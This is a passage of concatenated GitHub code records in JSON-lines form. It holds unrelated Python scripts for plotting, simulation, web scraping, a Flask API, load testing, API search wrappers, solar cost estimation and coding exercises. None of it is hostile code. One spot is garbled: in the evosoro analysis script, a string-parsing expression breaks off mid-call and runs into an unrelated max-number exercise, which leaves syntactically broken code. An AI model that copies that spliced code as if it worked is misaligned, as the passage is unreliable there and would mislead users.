plot_results(fig_path, load_path1, load_path2, title='Learning Curve'):\n \"\"\"\n plot the results\n\n :param log_folder: (str) the save location of the results to plot\n :param title: (str) the title of the task to plot\n \"\"\"\n\n log_path1 = os.getcwd() + \"/log/\" + load_path1\n log_path2 = os.getcwd() + \"/log/\" + load_path2\n fig_path = os.getcwd() + \"/figs/\" + \"/\" + fig_path\n\n x, y = [], []\n timesteps = 0\n with open(log_path1 + \"/\" + \"monitor.csv\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for i, row in enumerate(csv_reader):\n if i == 0 or i == 1:\n continue\n y.append(float(row[0]))\n x.append(timesteps + int(row[1]))\n timesteps += int(row[1])\n with open(log_path2 + \"/\" + \"monitor.csv\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for i, row in enumerate(csv_reader):\n if i == 0 or i == 1:\n continue\n y.append(float(row[0]))\n x.append(timesteps + int(row[1]))\n timesteps += int(row[1])\n x = np.array(x)\n y = np.array(y)\n\n y = movingAverage(y, window=50)\n # Truncate x\n x = x[len(x) - len(y):]\n print(x.shape)\n print(y.shape)\n\n fig = plt.figure(title)\n plt.plot(x, y)\n plt.xlabel('Number of Timesteps')\n plt.ylabel('Rewards')\n plt.title(title + \" Smoothed\")\n\n dotted = 1.25e6\n plt.axvline(x=dotted, color='k', linestyle='--')\n\n fig_path = fig_path + \".png\"\n print(\"saving figure in: \" + fig_path)\n plt.savefig(fig_path)\n\ndef main(fig_path, load_path1, load_path2):\n plot_results(fig_path, load_path1, load_path2)\n\nif __name__ == \"__main__\":\n fire.Fire(main)\n","repo_name":"yichern/baxter-tool","sub_path":"simulation/data/plot_monitor.py","file_name":"plot_monitor.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"4338254943","text":"\"\"\"\n@file simulators/thermostat.py\n@brief explaining why the automated thermostat is switched off\n\n@author Tzu-Yi Chiu \n\"\"\"\n\nimport numpy as np\n\nfrom typing import Tuple\n\nfrom simulator import Simulator\n\nclass Thermostat(Simulator):\n \"\"\"\n Simulate an intelligent thermostat (Section 4.3).\n Set-up: outside temperature < expected temperature\n thermostat is switched off at the beginning\n This case study aims at explaining why the thermostat is switched off.\n Real explanation: temperature > 20 once within the past two seconds.\n \"\"\"\n def __init__(self, out_temp: float, \n exp_temp: float, \n latency: int, \n length: int,\n memory: int = None) -> None:\n \"\"\"\n :param out_temp: outside temperature\n :param exp_temp: expected temparature\n :param latency: reponse time, thermostat is on only if \n in_temp < exp_temp for at least *latency*\n :param length: running time length\n :param memory: sample signal length\n \"\"\"\n self.out_temp = out_temp\n self.in_temp = out_temp + np.random.random()\n self.exp_temp = exp_temp\n self.on = 0 # thermostat is switched off at the beginning\n self.latency = latency\n self.temps = [self.in_temp]\n self.length = length\n self.memory = length if memory is None else memory\n self.ons = [0]\n \n def run(self):\n for _ in range(self.length - 1):\n if self.on and self.in_temp < self.exp_temp:\n self.in_temp += np.random.random()\n if not self.on and self.in_temp > self.out_temp:\n self.in_temp -= np.random.random()\n \n self.temps.append(self.in_temp)\n self.on = self._black_box(np.array([self.temps]))\n self.ons.append(self.on)\n return np.array([self.temps])\n \n def _black_box(self, sample):\n \"thermostat is on only if in_temp < exp_temp for at least `latency`\"\n on = int(len(sample[0]) >= self.latency)\n if on:\n for temp in sample[0, -self.latency:]:\n if temp >= self.exp_temp:\n on = 0\n return on\n \n def simulate(self) -> Tuple[np.ndarray, bool]:\n tm = Thermostat(self.out_temp, self.exp_temp, self.latency, \n self.length, self.memory)\n sample = tm.run()\n return sample[0, -self.memory:].reshape(1, -1), tm.on == 0\n \n def plot(self):\n import matplotlib.pyplot as plt\n t = range(len(self.temps))\n _, ax1 = plt.subplots()\n ax1.set_xlabel('time')\n ax1.set_ylabel('temperature')\n ax1.plot(t, self.temps)\n\n ax2 = ax1.twinx() # a second axis that shares the same x-axis\n ax2.set_ylabel('activation')\n ax2.step(t, self.ons, 'r-', where='post')\n plt.yticks([0, 1])\n plt.show()\n ","repo_name":"cipherlab-poly/Anchors-signals-MCTS","sub_path":"simulators/thermostat.py","file_name":"thermostat.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"47473970524","text":"import math\ndef giaithua(n):\n if n == 0:\n return 1\n else:\n return n * giaithua(n - 1)\ndef prop(n, p, N):\n tohop = giaithua(N)/(giaithua(n) * giaithua(N-n))\n return tohop * p * (1-p) ** (N-1)\n\ndef infoMeasure(n, p, N):\n i = prop(n, p, N)\n return -math.log(i, 2)\n\ndef sumProb(N, p):\n '''\n Khi chay lan luot cac gia tri cua N tu 100 den 200,\n ta duoc sumProb co gia tri xap xi 1\n '''\n sum = 0.0\n for i in range(1, N+1):\n sum += prop(i, p, N)\n return sum\n\ndef approxEntropy(N, p):\n temp = 0.0\n for i in range(1, N+1):\n temp += infoMeasure(i, p, N) * prop(i, p, N)\n return temp \n\nfor i in range(100, 200):\n print(sumProb(i, 0.5))\n\nhelp(sumProb)","repo_name":"hoangpquy/MCN-2021-INT3305-1","sub_path":"binomial.py","file_name":"binomial.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73075031412","text":"\n# coding: utf-8\n\n# # Data used is from a site that holds data on a 10K race that took place in Hillsboro, OR on June 2017\n\n# In[39]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport lxml\nimport bs4\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nurl = \"http://www.hubertiming.com/results/2017GPTR10K\"\nhtml = urlopen(url)\n\n\n\n# In[40]:\n\n\nsoup = BeautifulSoup(html, 'html.parser')\ntype(soup)\n\n\n# In[41]:\n\n\ntitle = soup.title\nprint(title)\n\n\n# In[43]:\n\n\n'''\nprinting out the text to look at the data \n'''\ntext = soup.get_text()\nprint(soup.text)\n\n\n# In[44]:\n\n\nsoup.find_all('a')\n\n\n# In[45]:\n\n\nall_links = soup.find_all(\"a\")\nfor link in all_links:\n print(link.get(\"href\"))\n\n\n# In[46]:\n\n\nrows = soup.find_all('tr')\nprint(rows[:10])\n\n\n# In[47]:\n\n\nfor row in rows:\n row_td = row.find_all('td')\nprint(row_td)\ntype(row_td)\n\n\n# In[50]:\n\n\n'''\nCleaning the data so its readable \n'''\nstr_cells = str(row_td)\ncleantext = BeautifulSoup(str_cells, 'html.parser').get_text()\nprint(cleantext)\n\n\n# In[52]:\n\n\nimport re\n\nlist_rows = []\nfor row in rows:\n cells = row.find_all('td')\n str_cells = str(cells)\n clean = re.compile('<.*?>')\n clean2 = (re.sub(clean, '',str_cells))\n list_rows.append(clean2)\nprint(clean2)\ntype(clean2)\n\n\n# # Starting to do more cleaning here \n\n# In[53]:\n\n\n'''\nCleaning data and making it look pretty in dataframes.\n'''\ndf = pd.DataFrame(list_rows)\ndf.head(10)\n\n\n# In[54]:\n\n\ndf1 = df[0].str.split(',', expand=True)\ndf1.head(10)\n\n\n# In[56]:\n\n\ndf1[0] = df1[0].str.strip('[')\ndf1.head(10)\n\n\n# In[60]:\n\n\ncol_labels = soup.find_all('th')\n\nall_header = []\ncol_str = str(col_labels)\ncleantext2 = BeautifulSoup(col_str, 'html.parser').get_text()\nall_header.append(cleantext2)\nprint(all_header)\n\n\n# In[61]:\n\n\ndf2 = pd.DataFrame(all_header)\ndf2.head()\n\n\n# In[62]:\n\n\ndf3 = df2[0].str.split(',', expand=True)\ndf3.head()\n\n\n# In[63]:\n\n\n'''\nMerging the two dataframes with concat\n'''\nframes = [df3, df1]\n\ndf4 = pd.concat(frames)\ndf4.head(10)\n\n\n# In[64]:\n\n\ndf5 = df4.rename(columns=df4.iloc[0])\ndf5.head()\n\n\n# In[65]:\n\n\ndf5.info()\ndf5.shape\n\n\n# In[67]:\n\n\ndf6 = df5.dropna(axis=0, how='any')\n\ndf7 = df6.drop(df6.index[0])\ndf7.head()\n\n\n# In[68]:\n\n\ndf5.info()\ndf5.shape\n\n\n# In[69]:\n\n\ndf6 = df5.dropna(axis=0, how='any')\n\ndf7 = df6.drop(df6.index[0])\ndf7.head()\n\n\n# In[70]:\n\n\n'''\nDoing some more cleaning renaming '[Place' and ' Team]' columns.\nAlso removing the closing bracket for cells in the \"Team\" column\n'''\ndf7.rename(columns={'[Place': 'Place'},inplace=True)\ndf7.rename(columns={' Team]': 'Team'},inplace=True)\ndf7.head()\n\n\n# In[71]:\n\n\ndf7['Team'] = df7['Team'].str.strip(']')\ndf7.head()\n\n","repo_name":"TylerYinAnderson/Web-Scrape-and-Analysis","sub_path":"Code/Final 540.py","file_name":"Final 540.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16702250748","text":"def loshu(lisst):\r\n for i in lisst:\r\n for j in lisst:\r\n d1 = lisst[0][0] + lisst[1][1] + lisst[2][2]\r\n d2 = lisst[0][2] + lisst[1][1] + lisst[2][0]\r\n x1 = sum(lisst[0]) \r\n x2 = sum(lisst[1])\r\n x3 = sum(lisst[2])\r\n y1 = lisst[0][0] + lisst[1][0] + lisst[2][0]\r\n y2 = lisst[0][1] + lisst[1][1] + lisst[2][1]\r\n y3 = lisst[0][2] + lisst[1][2] + lisst[2][2]\r\n \r\n if d1 == d2 == x1 == x2 == x3 == y1 == y2 == y3:\r\n return 'it is a Lo Shu square!'\r\n else:\r\n return 'it is not a Lo Shu square'\r\n\r\n\r\n \r\n \r\nprint(loshu([[4,9,2], [3,5,7], [8,1,6]]))","repo_name":"medvedeva-pa/Practice_5","sub_path":"lo_shu_square.py","file_name":"lo_shu_square.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24365347985","text":"import uuid\nfrom flask import request\nfrom flask.view import MethodView\nfrom flask_smorest import Blueprint, abort\nfrom db import stores\nfrom schemas import StoreSchema\n\nblp = Blueprint('stores',__name__, description=\"operation on stores\")\n\n\n@blp.route(\"/store/\")\nclass Store(MethodView):\n @blp.response(200,StoreSchema)\n def get(cls,store_id):\n try:\n return stores[store_id]\n\n except KeyError:\n abort(404, message=\"key not found\")\n \n def delete(cls,store_id):\n try:\n del stores[store_id]\n except KeyError:\n abort(404, message=\"store not found\")\n\n@blp.route(\"/store\")\nclass StoreList(MethodView):\n @blp.response(200,StoreSchema(many=True))\n def get(cls):\n return {\"stores\": list(stores.values())}\n @blp.arguments(StoreSchema)\n @blp.response(201,StoreSchema)\n def post(cls,store_data): \n for store in stores.values():\n if store_data['name'] == store['name']:\n abort(400, message=\"Bad request, store already exist\")\n store_id = uuid.uuid4().hex\n store = {**store_data, \"id\": store_id}\n stores[store_id] = store\n\n return store\n","repo_name":"veeknd/bug-free-spork","sub_path":"resources/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17935763608","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\nfor _ in range(int(input())): # 테스트케이스\n p = input()\n n = int(input())\n arr = input().rstrip()[1:-1].split(',')\n queue = deque(arr)\n\n rev, front, back = 0, 0, len(queue)-1 # rev가 R의 개수\n flag = 0\n if n == 0:\n queue = []\n front = 0\n back = 0\n \n for i in p:\n if i == 'R':\n rev += 1\n elif i == 'D':\n if len(queue) < 1:\n flag = 1\n print('error')\n break\n else:\n if rev % 2 == 0:\n queue.popleft()\n else:\n queue.pop()\n\n if flag == 0:\n if rev % 2 == 0:\n print(\"[\" + \",\".join(queue) + \"]\")\n else:\n queue.reverse()\n print(\"[\" + \",\".join(queue) + \"]\")\n ","repo_name":"GraceKim527/Pygorithm","sub_path":"BOJ/05000s/05400s/5430.py","file_name":"5430.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33368237293","text":"import os\n\nfrom locust import TaskSet, HttpUser, between, task\n\n\nclass MyPostTask(TaskSet):\n url = '/pinter/com/login'\n # def setup(self):\n # print('任务初始化')\n # def teardown(self):\n # print('任务结束')\n def on_start(self):\n print('用户初始化')\n def on_stop(self):\n print('用户结束')\n @task\n def MyPost(self):\n self.post_data = {'userName':'admin','password':'1234'}\n print(f'请求参数为:{self.post_data}')\n with self.client.post(url=self.url,data=self.post_data,name = 'kv_Post接口',timeout=10,catch_response = True) as res:\n res_str = res.text\n print(f'响应数据为:{res_str}')\n if 'success' in res_str:\n res.success()\n else:\n res.failure(res_str)\n\nclass MyPost(HttpUser):\n tasks = [MyPostTask]\n host = 'http://localhost:8080'\n wait_time = between(2,2)\n\nif __name__ == '__main__':\n os.system('locust -f Locust_Post.py')","repo_name":"Silences91/API_AutoTest","sub_path":"Mtx/Locust_Post.py","file_name":"Locust_Post.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70569697653","text":"\r\ntrials = 5\r\ntrials_count = 0\r\nwin = 0\r\nNo_0f_wins = win\r\n\r\nout_of_trials = False\r\nimport random\r\nwhile True and not out_of_trials:\r\n user_guess = input(\"Enter any guess from game choices: \").lower()\r\n game_choices = \"rock\", \"paper\", \"scissors\"\r\n comp_guess = random.choice(game_choices).lower()\r\n if trials_count <= trials:\r\n if user_guess == comp_guess:\r\n print(f\"Both players selected {user_guess}, It`s a Tie\")\r\n trials_count += 1\r\n elif user_guess == \"rock\":\r\n if comp_guess == \"paper\":\r\n print(\"Paper covers rock, you lose\")\r\n else:\r\n print(\"Rock smashes scissors, You win!\")\r\n win += 1\r\n trials_count += 1\r\n elif user_guess == \"paper\":\r\n if comp_guess == \"rock\":\r\n print(\"Paper covers rock, You win!\")\r\n else:\r\n print(\"Scissors cuts paper, you lose!\")\r\n win += 1\r\n trials_count += 1\r\n elif user_guess == \"scissors\":\r\n if comp_guess == \"paper\":\r\n print(\"Scissors cuts paper, You win!\")\r\n else:\r\n print(\"Rock smashes scissors, You lose!\")\r\n win += 1\r\n trials_count += 1\r\n elif user_guess == \"Exit\":\r\n break\r\n else:\r\n print(\"THE END\")\r\n else:\r\n out_of_trials = True\r\n print(\"You are out of guesses.\")\r\nprint(\"You won \", No_0f_wins)","repo_name":"Chegejr21/PYGAME","sub_path":"MY FIRST PYGAME.py","file_name":"MY FIRST PYGAME.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35131618199","text":"from glob import glob\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom evosoro.tools.utils import natural_sort\n\n\nmatplotlib.rcParams['pdf.fonttype'] = 42\nmatplotlib.rcParams['ps.fonttype'] = 42\n\nsns.set(color_codes=True, context=\"poster\")\nsns.set_style(\"white\", {'font.family': 'serif', 'font.serif': 'Times New Roman'})\n\ncolors = [\"grey\", \"dark pink\", \"ocean green\", \"tan\"]\nsns.set_palette(sns.xkcd_palette(colors), desat=.9)\n\nRUNS = 20\nSAVE_DIR = \"/home/sam/Projects/research_code/evosoro/data_analysis/results/gen_5000\"\nEXP_NAMES = [\"stress\", \"pressure\"]\nFIT_TAG = \"\"\nCANAL_TAG = \"\" # \"\"\nSYMBOL = r\"$\\mathregular{M_{body}}$\" # r\"$\\mathregular{V_{body}}$\"\nPLOT_NAME = \"mean\" # 'variance'\n\n\ncanalization_dict = {e: {r: {\"id\": [],\n \"fit\": [], \"z_gene\": [], \"z_env\": []} for r in range(1, RUNS + 1)} for e in EXP_NAMES}\n\nfor exp_name in EXP_NAMES:\n\n for run in range(1, RUNS+1):\n\n this_dir = \"{0}/Exp_{1}/Run_{2}\".format(SAVE_DIR, exp_name, run)\n vox_files = \"{0}/voxelyzeFiles/*\".format(this_dir)\n fit_files = \"{0}/fitnessFiles/*\".format(this_dir)\n\n robots = glob(fit_files)\n if len(robots) > 0: # todo: remove this once we have all the data\n robots = natural_sort(robots, reverse=True)\n run_champ = robots[-1]\n for bot in robots:\n this_id = int(bot[bot.find(\"id_\")+3:-4])\n canalization_dict[exp_name][run][\"id\"] += [this_id]\n this_result = open(bot, 'r')\n for line in this_result:\n if FIT_TAG in line:\n this_fit = float(line[line.find(FIT_TAG) + len(FIT_TAG):line.find(\"= max_num:\n max_num = i\n\n print(f'#{tc} {max_num}')","repo_name":"Haru-arp/TIL","sub_path":"Algorithm/SWEA/2068_최대수 구하기/2068_최대수 구하기.py","file_name":"2068_최대수 구하기.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16275110935","text":"# -*- coding : utf-8 -*-\n# @Author : stone\n# @Github : https://github.com/stonedada\nimport torchvision\nfrom torch import nn\nfrom torch.nn import Sequential, Conv2d, MaxPool2d, Flatten, Linear, CrossEntropyLoss\nfrom torch.utils.data import DataLoader\n\ndataset=torchvision.datasets.CIFAR10(root=\"../dataset\",train=False,transform=torchvision.transforms.ToTensor(),download=False)\ndataloader=DataLoader(dataset,batch_size=64)\n\n\n\nclass Mymodule(nn.Module):\n def __init__(self):\n super(Mymodule, self).__init__()\n self.module1=Sequential(\n Conv2d(3,32,kernel_size=5,padding=2),\n MaxPool2d(kernel_size=2),\n Conv2d(in_channels=32,out_channels=32,kernel_size=5,padding=2),\n MaxPool2d(kernel_size=2),\n Conv2d(32,64,5,2),\n MaxPool2d(2),\n Flatten(),\n #Linear(64,64),\n Linear(32,10)\n )\n\n def forward(self,x):\n x=self.module1(x)\n return x\n\n\nmymodule =Mymodule()\nloss_Cross=CrossEntropyLoss()\nfor data in dataloader:\n imgs,target=data\n print(imgs.shape)\n print(target.shape)\n output=mymodule(imgs)\n loss=loss_Cross(output,target)\n print(loss)\n\n\n\n","repo_name":"stonedada/Pytorch","sub_path":"module_nn/nn_loss_network.py","file_name":"nn_loss_network.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"8813322712","text":"'''\nOverview:\n\n Detect whether there is loop in a direct graph.\n\nSolution:\n\n DFS with enhanced visit:\n\n 0: haven't visited\n \n 1: is currently tracking along this vertex\n \n 2: exploited, we have visited this vertex and all of its successors, no loop\n'''\n\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n visit = [0 for _ in range(numCourses)]\n graph = [[] for _ in range(numCourses)]\n \n for u, v in prerequisites:\n graph[u].append(v)\n \n def dfs(x):\n if visit[x] == 1:\n return True\n if visit[x] == 2:\n return False\n visit[x] = 1\n for y in graph[x]:\n if dfs(y):\n return True\n visit[x] = 2\n return False\n \n for i in range(numCourses):\n if dfs(i):\n return False\n \n return True","repo_name":"SamuelGYX/leetcode_records","sub_path":"souce/207_Course_Schedule.py","file_name":"207_Course_Schedule.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71805337972","text":"import requests\r\nfrom urllib.parse import quote_plus\r\nfrom bs4 import BeautifulSoup\r\nfrom requests.api import request\r\n\r\nclass SearchError(Exception):\r\n def __init__(self, message):\r\n self.message = message\r\n\r\nclass TweetSearch:\r\n def __init__(self, bearer_token: str, endpoint_url=\"https://api.twitter.com/2/tweets/search/\", search_type='recent', max_results=10):\r\n self.bearer_token_ = bearer_token\r\n self.endpoint_url_ = endpoint_url\r\n self.search_type_ = search_type\r\n self.max_results_ = max_results\r\n self.headers_ = {'Authorization': f'Bearer {self.bearer_token_}'}\r\n def query(self, query: str):\r\n self.raw_query_ = query\r\n self.https_query_ = quote_plus(self.raw_query_)\r\n self.full_url_ = f'{self.endpoint_url_}{self.search_type_}?query={self.https_query_}&max_results={self.max_results_}'\r\n self.payload_ = {}\r\n self.response_ = requests.request('GET', self.full_url_, headers=self.headers_, data=self.payload_)\r\n if self.response_.status_code != 200:\r\n raise SearchError(f\"Submission failed with code {self.response_.status_code}: {self.response_.reason}\")\r\n elif self.response_.status_code == 200:\r\n self.result_text = self.response_.text\r\n self.json_ = self.response_.json()\r\n self.raw_string = ' '.join([x['text'] for x in self.json_['data']])\r\n return self.raw_string\r\n\r\nclass YelpSearch:\r\n def __init__(self, access_token: str):\r\n self.access_token_ = access_token\r\n self.url_ = \"http://api.yelp.com/v3/businesses/search\"\r\n self.headers_ = {'Authorization': f'Bearer {self.access_token_}'}\r\n def business_search(self, term: str, location: str, limit: int = 20):\r\n self.params_ = {\r\n 'term':term.replace(' ','+'),\r\n 'location':location.replace(' ','+'),\r\n 'limit': limit\r\n }\r\n self.response_ = requests.request('GET', self.url_, headers=self.headers_, params=self.params_)\r\n if self.response_.status_code != 200:\r\n raise SearchError(f\"Submission failed with code {self.response_.status_code}: {self.response_.reason}\")\r\n elif self.response_.status_code == 200:\r\n self.json_ = self.response_.json()\r\n self.businesses = [(x['name'],x['alias'], x['id']) for x in self.json_['businesses']]\r\n self.business_ids_ = [x['id'] for x in self.json_['businesses']]\r\n return self.businesses\r\n def get_all_businesses_reviews(self):\r\n self.all_businesses_text = []\r\n for i in self.business_ids_:\r\n id_url = f'http://api.yelp.com/v3/businesses/{i}/reviews'\r\n id_response = requests.request('GET', id_url, headers= self.headers_, params={})\r\n for resp in id_response.json()['reviews']:\r\n self.all_businesses_text.append(resp)\r\n self.reviews_list_ = [r['text'] for r in self.all_businesses_text]\r\n self.raw_string_all = ''.join(self.reviews_list_)\r\n return self.raw_string_all\r\n def get_business_reviews(self, id: str):\r\n self.business_text = []\r\n self.id_ = id\r\n id_url = f'http://api.yelp.com/v3/businesses/{self.id_}/reviews'\r\n id_response = requests.request('GET', id_url, headers= self.headers_, params={})\r\n for resp in id_response.json()['reviews']:\r\n self.business_text.append(resp)\r\n self.reviews_list_ = [r['text'] for r in self.business_text]\r\n self.raw_string = ' '.join(self.reviews_list_)\r\n return self.raw_string\r\n\r\nclass RSSFeed:\r\n def __init__(self, endpoint_url: str):\r\n self.endpoint_url_ = endpoint_url\r\n self.response_ = requests.get(self.endpoint_url_)\r\n if self.response_.status_code != 200: \r\n raise SearchError(f'Submission failed with code: {self.response_.status_code}: {self.response_.reason}')\r\n else:\r\n self.xml_soup_ = BeautifulSoup(self.response_.text, 'lxml-xml')\r\n self.get_elements = list(set([x.name for x in self.xml_soup_.findAll()]))\r\n def join_elements(self, tag: str):\r\n self.text_list_ = [x.text for x in self.xml_soup_.findAll(tag)]\r\n self.raw_string = ' '.join(self.text_list_)\r\n return self.raw_string\r\n","repo_name":"havaluck/Web_Gather","sub_path":"web_gather.py","file_name":"web_gather.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39293271642","text":"import unittest\nimport json\nimport os\n\nfrom models.iiif_manifest import Manifest\nimport models.iiif_manifest as iiif\n\n\ndef read_vaint_example():\n vaint_file = \"test/vaint_example.json\"\n with open(vaint_file, 'rt') as fh:\n json_data = json.load(fh)\n example = {\n 'collection': json_data[0],\n 'annotation': json_data[1],\n }\n example['annotation']['body'][2] = json_data[2]\n example['annotation']['body'][3] = json_data[3]\n return example\n\n\nclass TestIIIFManifest(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print(\"\\nrunning IIIF Manifest Model tests\")\n\n def setUp(self) -> None:\n self.vaint_example = read_vaint_example()\n\n def test_check_canvas_items_accepts_empty_list(self):\n self.assertTrue(iiif.check_canvas_items([]))\n\n def test_web_anno_to_manifest_returns_single_manifest(self):\n manifest = iiif.web_anno_to_manifest(self.vaint_example['annotation'])\n self.assertTrue(isinstance(manifest, Manifest))\n\n def test_web_anno_to_manifest_returns_manifest(self):\n manifest = iiif.web_anno_to_manifest(self.vaint_example['annotation'])\n self.assertTrue(isinstance(manifest, Manifest))\n\n def test_manifest_add_canvas_throws_error_if_non_canvas_is_passed(self):\n manifests = iiif.web_anno_to_manifest(self.vaint_example['annotation'])\n error = None\n try:\n manifests.add_canvas_items([1])\n except AssertionError as err:\n error = err\n self.assertNotEqual(error, None)\n","repo_name":"CLARIAH/scholarly-web-annotation-server","sub_path":"app/test/test_iiif_manifest.py","file_name":"test_iiif_manifest.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"25815717795","text":"import torch\nfrom tabulate import tabulate\n\n\ndef graph_report(gm: torch.fx.GraphModule):\n modules = dict(gm.named_modules())\n summary = []\n used_modules = {}\n for n in gm.graph.nodes:\n summary.append([n.op, n.name, n.target, n.args, n.kwargs])\n if n.op == \"call_module\":\n used_modules[n.target] = modules[n.target]\n\n return \"\\n----------\\n\".join(\n [\n tabulate(summary, headers=[\"opcode\", \"name\", \"target\", \"args\", \"kwargs\"]),\n \"Used modules\",\n tabulate([[k, v] for k, v in used_modules.items()], headers=[\"name\", \"target_type\"]),\n ]\n )\n","repo_name":"ELS-RD/kernl","sub_path":"src/kernl/utils/graph_report.py","file_name":"graph_report.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":1388,"dataset":"github-code","pt":"21"} +{"seq_id":"75163549173","text":"import sys\r\nfrom collections import deque\r\nN = int(input())\r\nque = deque([])\r\nfor i in range(N):\r\n ord = sys.stdin.readline().split()\r\n\r\n if ord[0] == 'push':\r\n que.append(ord[1])\r\n\r\n elif ord[0] == 'pop':\r\n if que:\r\n print(que.popleft())\r\n else:\r\n print('-1')\r\n\r\n elif ord[0] == 'size':\r\n print(len(que))\r\n\r\n elif ord[0] == 'empty':\r\n if len(que) == 0:\r\n print('1')\r\n else:\r\n print('0')\r\n\r\n elif ord[0] == 'front':\r\n if que:\r\n print(que[0])\r\n else:\r\n print('-1')\r\n\r\n elif ord[0] == 'back':\r\n if que:\r\n print(que[-1])\r\n else:\r\n print('-1')","repo_name":"benhoon/baekjoon","sub_path":"큐 2.py3","file_name":"큐 2.py3","file_ext":"py3","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74652073011","text":"#!/bin/ python\n\"\"\"\nThis source code aims to evolve the Oscillon profile from the analytical solution.\n\nThis code is written in Python 3\nAuthor: Athul Muralidhar\nDate: 06 June 2018\nDue credits given to S.Evangelos for his guidence and utmost patience, and helping\nthe author with the code\n\"\"\"\n# initial imports\nimport matplotlib.pyplot as plt\nimport math\n\nif __name__ == '__main__':\n #initial Conditions\n Dx = 0.1\n Dt = 0.1*Dx\n eps = 0.1\n timesteps=int(10000/Dt)\n xsteps=int(2000/Dx)\n sumin = 0\n\n TS_1=[]\n TS_2=[]\n TS_3=[]\n\n TS_1.append(0.0) # first xtep value\n TS_2.append(0.0)\n\n for i in range(1,xsteps-1):\n value = 2*eps*math.sqrt(2/3)*1/math.cosh(eps*i*Dx)\n TS_1.append(value)\n TS_2.append(value)\n TS_1.append(0.0)\n TS_2.append(0.0)\n\n # initial energy and radius of localization\n for i in range(xsteps-1):\n sumin = sumin+Dx*(0.5*math.pow((TS_1[i]-TS_2[i])/Dt,2)+0.5*math.pow((TS_2[i+1]-TS_2[i])/Dx,2) +0.5*math.pow(TS_2[i],2)-0.25*math.pow(TS_2[i],4)+(1/(6*eps**2))*math.pow(TS_2[i],6))\n print(sumin)\n\n # test plotting\n step_x = [i for i in range(xsteps)]\n plt.plot(step_x,TS_1)\n plt.show()\n","repo_name":"AthulMuralidhar/oscillons","sub_path":"osc_evol.py","file_name":"osc_evol.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12699506620","text":"def cost_estimation(cost_panel=[29,32], solar_power_output= 459, panel_type=335, mean_sun_light_hour=8.825):\r\n\t\"\"\"\r\n\testimate the cost of setting up solar panels for given estimated output from floating\r\n\tsolar photovoltaics. The unit of solar power output is in MW; unit of panel type is watts; \r\n\tmean sun light hours is the average annual sun light for the city of bangalore.\r\n\tcost of panel is in Rupee ***(lower_bound, upper_bound)***\r\n\r\n\t-- aim --\r\n\t1. To find number of panels of given panel_type.\r\n\t2. To estimate the cost of setting up all of the panels. \r\n\r\n\t**NOTE**\r\n\tThe estimated cost is of the sonal panel alone, and does not include installation cost, workmanship.\r\n\r\n\t\"\"\"\r\n\r\n\t# solar power output in kwh\r\n\tsolar_power_output_kwh = solar_power_output*365*24*1000\r\n\r\n\t# number of panels\r\n\tno_of_panels= solar_power_output_kwh/(365*panel_type*mean_sun_light_hour)\r\n\r\n\r\n\t# cost of setting up all panels in rupees\r\n\tlower_limit_cost = round(no_of_panels * panel_type * cost_panel[0], 0)\r\n\tupper_limit_cost = round(no_of_panels * panel_type * cost_panel[1], 0)\r\n\treturn (lower_limit_cost,upper_limit_cost)\r\n\r\nprint(cost_estimation())","repo_name":"amanbagrecha/floating-solar","sub_path":"cost_estimation.py","file_name":"cost_estimation.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6461603756","text":"\nimport torch.nn as nn\n\n# This code is adapted from the paper:\n# https://arxiv.org/pdf/1603.04779.pdf\nclass AdaBn(nn.Module):\n \"\"\"BN Adapts the model by updating the statistics of the 